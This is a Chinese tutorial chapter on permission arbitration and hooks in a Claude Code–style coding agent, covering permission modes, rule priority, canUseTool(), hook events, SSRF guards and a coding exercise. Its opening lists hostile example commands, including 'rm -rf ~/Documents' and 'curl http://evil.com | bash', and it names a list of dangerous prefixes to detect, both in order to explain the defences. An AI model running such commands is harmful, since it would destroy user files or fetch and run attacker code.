第 8 章:权限与安全仲裁

# 第 8 章:权限与安全仲裁

> 能力越大,责任越大;工具越强,沙箱越严。

---

## 8.1 核心问题

第 7 章实现的 Agent 有了"手"——它能执行 Shell 命令、读写文件。但这同时意味着它能:

- `rm -rf ~/Documents`
- `curl http://evil.com | bash`
- `git push --force origin main`

Agent 在帮你"重构代码"的过程中随时可能执行这些命令。如何防止它做危险操作?如何让特定场景(CI、企业)的策略覆盖用户的偏好?如何在不修改 Agent 源码的情况下,在工具调用节点插入审计日志?

这就是本章要解决的两个问题:

1. **权限仲裁**:每次工具调用前,通过 `canUseTool()` 决策是"自动允许"、"自动拒绝"还是"询问用户"
2. **Hooks 系统**:在 Agent 生命周期的任意节点(工具执行前后、对话结束、会话开始...)注入自定义 Shell 命令或 HTTP 请求

---

## 8.2 原理讲解

### 8.2.1 权限模式:全局行为开关

`PermissionMode` 是整个权限系统的"总闸",决定默认的仲裁策略:

```typescript
// src/types/permissions.ts
type PermissionMode =
  | 'default'            // 不确定时询问用户(正常交互模式)
  | 'acceptEdits'        // 自动批准文件编辑类操作,Shell 仍询问
  | 'bypassPermissions'  // 跳过所有权限检查(CI/自动化场景,--dangerously-skip-permissions)
  | 'plan'               // 只规划,不执行任何工具(200K 模型下分析用)
  | 'dontAsk'            // 永远不询问(自动接受所有,危险!)
  | 'auto'               // ANT 内部:由 AI 分类器自动判断安全性(TRANSCRIPT_CLASSIFIER 特性门控)
  | 'bubble'             // 将权限决策转发给父级 Agent(子 Agent 使用)
```

**`plan` 模式的特殊之处**:当会话 token 超过 200K 时,Claude Code 会自动切换到更大的模型(200K+ 上下文),同时强制进入 `plan` 模式——LLM 只能分析,不能执行。这防止了"大模型读完超长代码库后顺手删文件"的情况。

**`bypassPermissions` 是最危险的模式**:它绕过所有检查,专为 CI/CD 流水线设计。Claude Code 在进入此模式前会显示明确警告,并要求用户明确同意(`--dangerously-skip-permissions` 标志)。

### 8.2.2 权限决策结果

每次工具调用,`canUseTool()` 返回三种结果之一:

```typescript
// src/types/permissions.ts
type PermissionResult =
  | { behavior: 'allow'; updatedInput?: object; userModified?: boolean }
    // allow: 直接执行,可选地携带修改后的 input(Hook 可以修改工具参数)
  | { behavior: 'deny'; message?: string }
    // deny: 拒绝执行,向 LLM 反馈拒绝原因
  | { behavior: 'ask'; message: string; decisionReason?: PermissionDecisionReason }
    // ask: 暂停,等待用户在终端输入 [y/n]
```

### 8.2.3 权限规则:优先级层次

Claude Code 的权限规则来自多个层次,优先级从高到低:

```
CLI 参数 (cliArg)
  │ 最高优先级,--allow-tools "Bash(ls:*)"
  ▼
会话规则 (session)
  │ 用户在对话中通过 "始终允许这个命令" 添加的规则
  ▼
企业策略 (policySettings)
  │ 管理员下发的强制规则,普通用户不可覆盖
  ▼
项目设置 (projectSettings)
  │ .claude/settings.json 中的规则
  ▼
用户设置 (userSettings)
  │ ~/.claude/settings.json 中的规则
  ▼
默认行为 (PermissionMode 决定)
```

**规则匹配语法**(`permissionRuleParser.ts`):

```
Bash(ls:*)      → 允许以 "ls" 开头的所有命令
Read            → 允许 Read 工具的所有调用(不限参数)
Bash(rm:*)      → 允许以 "rm" 开头的命令(危险!)
```

**危险规则检测**(`dangerousPatterns.ts`):  
Claude Code 内置了危险前缀检测——规则匹配 `python:*`、`node:*`、`bash:*`、`eval`、`sudo`、`curl` 等时,在 `auto` 模式下会被自动剥除,防止"通过白名单绕过安全检查"的攻击。

### 8.2.4 `canUseTool()`:权限的核心函数

在 Agentic Loop 中,每次执行工具前都会调用 `canUseTool()`:

```typescript
// src/hooks/useCanUseTool.ts 的类型签名
type CanUseToolFn = (
  tool: Tool,
  input: unknown,
  toolUseContext: ToolUseContext,
  assistantMessage: AssistantMessage,
  toolUseID: string,
  forceDecision?: PermissionBehavior,
) => Promise<PermissionResult>
```

`canUseTool()` 内部按顺序执行以下检查:

```
1. 检查是否处于 bypassPermissions 模式 → allow(跳过所有后续)
2. 检查是否处于 plan 模式 → deny(不允许任何工具执行)
3. 遍历 allowRules(从高优先级到低)→ 若匹配 allow 规则 → allow
4. 遍历 denyRules → 若匹配 deny 规则 → deny
5. 执行 PreToolUse Hooks → Hook 可返回 allow/deny/ask/passthrough
6. 若 Hook 返回 passthrough 或无 Hook → 基于 PermissionMode 决策:
   - dontAsk → allow
   - auto → 调用 AI 分类器(TRANSCRIPT_CLASSIFIER 特性)
   - default/acceptEdits → ask(询问用户)
```

**`updatedInput` 机制**:`allow` 结果可以携带修改后的工具输入。例如,`PreToolUse` Hook 可以把 `Bash(rm -f file.txt)` 改为 `Bash(rm -i file.txt)`(加上交互确认标志),而 LLM 看到的依然是原始命令——修改对 LLM 透明。

### 8.2.5 Hooks 系统:27 个生命周期事件

Hooks 是 Claude Code 最强大的扩展点。完整的事件列表(`src/entrypoints/sdk/coreTypes.ts`):

```typescript
const HOOK_EVENTS = [
  // 工具执行
  'PreToolUse',          // 工具执行前(可阻塞、可修改 input、可决定权限)
  'PostToolUse',         // 工具执行后(可注入额外上下文)
  'PostToolUseFailure',  // 工具执行失败后

  // 用户交互
  'UserPromptSubmit',    // 用户提交消息时(可修改/拦截)
  'Notification',        // 系统通知时

  // 会话生命周期
  'SessionStart',        // 会话开始(可指定要监听的文件路径)
  'SessionEnd',          // 会话结束
  'Setup',               // 初始化阶段

  // Agent 完成
  'Stop',                // 主 Agent 完成一轮任务
  'StopFailure',         // 主 Agent 失败
  'SubagentStart',       // 子 Agent 启动
  'SubagentStop',        // 子 Agent 完成

  // 对话压缩
  'PreCompact',          // 压缩前(可阻塞)
  'PostCompact',         // 压缩后

  // 权限
  'PermissionRequest',   // 权限请求时(决策前)
  'PermissionDenied',    // 权限被拒绝时

  // 文件与目录
  'CwdChanged',          // 工作目录变化
  'FileChanged',         // 被监听文件变化(SessionStart 中指定)
  'WorktreeCreate',      // Git worktree 创建
  'WorktreeRemove',      // Git worktree 删除

  // 配置
  'InstructionsLoaded',  // CLAUDE.md 加载完成
  'ConfigChange',        // 配置变更

  // 协作模式
  'TeammateIdle',        // 团队成员空闲
  'TaskCreated',         // 任务创建
  'TaskCompleted',       // 任务完成

  // 工具调用请求(MCP)
  'Elicitation',         // MCP 工具请求人工决策
  'ElicitationResult',   // 人工决策结果
] as const
```

### 8.2.6 Hook 的三种类型

#### 类型 1:`command`(Shell 命令 Hook)

```json
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{"type": "command", "command": "./audit.sh"}]
    }]
  }
}
```

- Hook 进程通过 **环境变量** 接收事件数据(`CLAUDE_TOOL_NAME`、`CLAUDE_TOOL_INPUT` 等)
- stdout 作为 Hook 输出,可以是纯文本(显示给 LLM)或 JSON(控制行为)
- 支持 JSON 输出协议:

```json
{
  "continue": false,
  "stopReason": "命令被审计系统拒绝",
  "hookSpecificOutput": {
    "hookEventName": "PreToolUse",
    "permissionDecision": "deny",
    "permissionDecisionReason": "命令包含危险操作"
  }
}
```

#### 类型 2:`http`(HTTP Webhook)

```json
{
  "hooks": {
    "PostToolUse": [{
      "hooks": [{"type": "http", "url": "https://audit.company.com/log"}]
    }]
  }
}
```

- 以 `POST` 方式发送事件 JSON 到指定 URL
- 内置 **SSRF 防护**(`src/utils/hooks/ssrfGuard.ts`):阻止请求私有 IP 范围(`127.0.0.1`、`10.x`、`172.16.x`、`192.168.x`、`::1` 等),防止 Hook 被用来探测内网服务
- HTTP Hook **必须**返回 JSON 格式响应(与 command Hook 不同,不接受纯文本)

#### 类型 3:`function`(程序内回调)

SDK 调用者专用,通过 `registerFunctionHook()` 在进程内注册 TypeScript 函数作为 Hook:

```typescript
registerFunctionHook('PreToolUse', async (input) => {
  if (input.tool_name === 'Bash' && input.tool_input.command.includes('sudo')) {
    return { permissionDecision: 'deny', reason: '不允许 sudo' }
  }
  return { permissionDecision: 'allow' }
})
```

### 8.2.7 Hook 执行的安全机制

**Workspace Trust(工作区信任)**:交互模式下,所有 Hook 都要求用户接受信任对话框后才会执行。这防止了"恶意项目在 `.claude/settings.json` 中注入 Hook 在用户不知情的情况下执行任意命令"的攻击。

```typescript
// src/utils/hooks.ts
export function shouldSkipHookDueToTrust(): boolean {
  const isInteractive = !getIsNonInteractiveSession()
  if (!isInteractive) return false  // SDK 模式:信任是隐式的
  return !checkHasTrustDialogAccepted()  // 交互模式:必须显式接受
}
```

**超时保护**:工具 Hook 默认超时 10 分钟(`TOOL_HOOK_EXECUTION_TIMEOUT_MS = 10 * 60 * 1000`),`SessionEnd` Hook 超时 1.5 秒(关闭时不能无限等待)。

**异步 Hook**:Hook 可以返回 `{"async": true}` 声明为后台执行,立即返回不阻塞工具调用。异步 Hook 完成后通过注册机制将结果送回主线程。

---

## 8.3 Claude Code 源码细节

### 8.3.1 `PermissionDecisionReason`:权限决策原因追踪

每次权限决策都会记录原因,方便用户理解"为什么这个命令需要确认":

```typescript
// src/types/permissions.ts
type PermissionDecisionReason =
  | { type: 'noMatchingRule' }            // 无匹配规则,走默认逻辑
  | { type: 'matchedDenyRule'; rule: string }  // 匹配到拒绝规则
  | { type: 'hook'; hookSource: string }  // Hook 触发的决策
  | { type: 'classifier'; classifier: string; reason: string }  // AI 分类器决策
  | { type: 'permissionMode'; mode: PermissionMode }  // 权限模式决策
```

### 8.3.2 Hook 输出的 `permissionDecision` 字段

`PreToolUse` Hook 可以通过 JSON 输出直接返回权限决策,绕过默认的权限流程:

```typescript
// syncHookResponseSchema 中的 PreToolUse 专属字段:
{
  hookEventName: 'PreToolUse',
  permissionDecision: 'allow' | 'deny' | 'ask',
  permissionDecisionReason: string,  // 显示给用户的原因
  updatedInput: Record<string, unknown>,  // 修改工具参数
  additionalContext: string,  // 注入到 LLM 上下文的额外信息
}
```

这意味着一个 `PreToolUse` Hook 可以同时做到:
1. **记录日志**(执行 Shell 命令写入审计文件)
2. **修改参数**(如把不安全的命令改为安全版本)
3. **注入上下文**(向 LLM 提供工具执行的额外信息)
4. **决定权限**(直接 allow/deny,跳过用户询问)

### 8.3.3 `AggregatedHookResult`:多 Hook 聚合

同一个事件可以配置多个 Hook,结果被聚合为 `AggregatedHookResult`:

```typescript
type AggregatedHookResult = {
  blockingError?: HookBlockingError      // 任一 Hook 报告阻塞错误
  preventContinuation?: boolean          // 任一 Hook 返回 continue: false
  permissionBehavior?: 'allow' | 'deny' | 'ask'  // 最后一个有权限决策的 Hook
  additionalContexts?: string[]          // 所有 Hook 注入的上下文(合并)
  updatedInput?: Record<string, unknown> // 最后一个修改 input 的 Hook
}
```

**聚合规则**:`deny` 优先于 `allow` 优先于 `ask`——任何一个 Hook 说 deny,就拒绝。

### 8.3.4 `SessionEnd` Hook 的超时设计

```typescript
// src/utils/hooks.ts
const SESSION_END_HOOK_TIMEOUT_MS_DEFAULT = 1500  // 1.5 秒

export function getSessionEndHookTimeoutMs(): number {
  const raw = process.env.CLAUDE_CODE_SESSIONEND_HOOKS_TIMEOUT_MS
  const parsed = raw ? parseInt(raw, 10) : NaN
  return Number.isFinite(parsed) && parsed > 0 ? parsed : SESSION_END_HOOK_TIMEOUT_MS_DEFAULT
}
```

`SessionEnd` Hook 在进程关闭路径上执行,超时设计极短(1.5 秒)避免拖慢退出。用户可通过环境变量覆盖(比如 teardown 脚本需要更多时间)。

### 8.3.5 `canUseTool()` 在 `QueryEngine` 中的位置

```typescript
// src/QueryEngine.ts — submitMessage() 中
const wrappedCanUseTool: CanUseToolFn = async (tool, input, ...) => {
  const result = await canUseTool(tool, input, ...)
  
  // 追踪权限拒绝(用于 SDK 报告)
  if (result.behavior !== 'allow') {
    this.permissionDenials.push({
      tool_name: sdkCompatToolName(tool.name),
      tool_use_id: toolUseID,
      tool_input: input,
    })
  }
  return result
}
```

`QueryEngine` 包装了 `canUseTool`,在每次拒绝时记录 `permissionDenials`——SDK 调用方(如 VS Code 插件)可以读取这个列表了解"Agent 想做但被阻止了什么"。

---

## 8.4 最小化产出物

> 代码骨架位于 `../chapters/08/src/`,参考实现位于 `../chapters/08/solution/`。
> **前置条件**:需要 `ANTHROPIC_API_KEY` 环境变量(`npm start` 需要)。

### 本章要实现什么

在 `../chapters/08/src/permissions.ts` 中完成权限仲裁和 Hooks 系统。

**接口规范**(已提供,不要修改):

```typescript
export type PermissionMode = 'default' | 'bypassPermissions'
export type HookConfig = { command: string; timeout?: number }
export type HooksSettings = { hooks?: { PreToolUse?: HookConfig[]; Stop?: HookConfig[] } }
export const SAFE_BASH_PREFIXES: string[]

export function loadHooksConfig(): HooksSettings
export async function runPreToolUseHooks(hooksConfig, toolName, toolInput): Promise<{ permissionDecision?: 'allow' | 'deny' | 'ask'; reason?: string }>
export async function runStopHooks(hooksConfig, finalText): Promise<void>
export async function canUseTool(toolName, toolInput, permissionMode, hooksConfig): Promise<'allow' | 'deny'>
export function closeReadline(): void
```

**你需要实现**:
1. `loadHooksConfig()`:读取 `.mini-agent/settings.json`,解析 JSON,失败时返回 `{}`
2. `runPreToolUseHooks()`:遍历 PreToolUse hooks,执行 shell 命令,聚合权限决策(deny 优先)
3. `runStopHooks()`:遍历 Stop hooks,执行 shell 命令,打印输出
4. `canUseTool()`:
   - `bypassPermissions` → 直接 allow
   - 执行 PreToolUse Hooks → Hook 可 allow/deny
   - `Read` → allow;`Write` → askUser;`Bash` → 安全命令 allow,其他 askUser

**关键约束**:
- `canUseTool()` 必须 import 并复用第 7 章的 `agenticLoop`(通过 `main.ts` 组合)
- 本章只新增权限逻辑,工具执行仍来自第 4 章的 `TOOL_REGISTRY`

### 验收

```bash
cd docs/chapters/08
npm install
npm test
```

卡住时查看 `../chapters/08/solution/permissions.ts`。

---

## 8.5 权限流程图

```
工具调用请求
  │
  ▼
bypassPermissions?  ──是──→  allow(直接执行)
  │否
  ▼
plan 模式?  ──是──→  deny(不执行任何工具)
  │否
  ▼
匹配 allowRules?  ──是──→  allow
  │否
  ▼
匹配 denyRules?  ──是──→  deny(附带规则来源说明)
  │否
  ▼
执行 PreToolUse Hooks
  │
  ├─ Hook 返回 deny  ──→  deny(附带 Hook 原因)
  ├─ Hook 返回 allow ──→  allow(可能附带修改后的 input)
  ├─ Hook 返回 ask   ──┐
  └─ 无 Hook / passthrough ──┤
                              ▼
                        PermissionMode?
                          │
                          ├─ dontAsk     → allow
                          ├─ auto        → AI 分类器决策
                          ├─ acceptEdits → Read/Write: allow; Bash: ask
                          └─ default     → ask(询问用户 [y/n])
```

---

## 8.6 本章小结

本章为 Coding Agent 装上了"安全阀":

1. **`PermissionMode` 是全局策略开关**:`default`(询问)、`acceptEdits`(编辑自动允许)、`bypassPermissions`(全跳过,CI 用)、`plan`(只读,不执行)。`bypassPermissions` 是最危险的,Claude Code 要求明确的 `--dangerously-skip-permissions` 标志才能进入。

2. **权限规则有优先级层次**:CLI 参数 > 会话规则 > 企业策略 > 项目配置 > 用户配置 > 默认行为。这让企业管理员可以设置不可覆盖的强制策略。

3. **Hooks 是最强大的扩展点**:27 个生命周期事件覆盖了从"工具执行前"到"会话结束"的完整生命周期。`PreToolUse` Hook 可以同时做审计、修改参数和决定权限,而 LLM 对这一切透明。

4. **Hook 安全机制**:工作区信任对话框(防止恶意项目注入 Hook)、HTTP Hook 的 SSRF 防护(防止探测内网)、超时保护(防止 Hook 拖慢进程退出)。

5. **`updatedInput` 机制**:权限系统不只能 allow/deny,还能**修改工具参数**——例如把 `rm -f` 改为 `rm -i`,让不安全的命令变安全,而 LLM 看到的仍是原始命令。

6. **`permissionDenials` 追踪**:`QueryEngine` 记录每次被拒绝的工具调用,SDK 调用方可读取,用于审计和分析"Agent 想做但不被允许的事情"。

**下一章**将解决另一个问题:LLM 默认不了解你的项目代码库,如何通过 System Prompt 注入项目上下文(CLAUDE.md、git 历史、目录树)让 Agent 一开始就"认识"你的代码?

---

## 下一章

→ [第 9 章:上下文注入(System Prompt)](09-context-injection)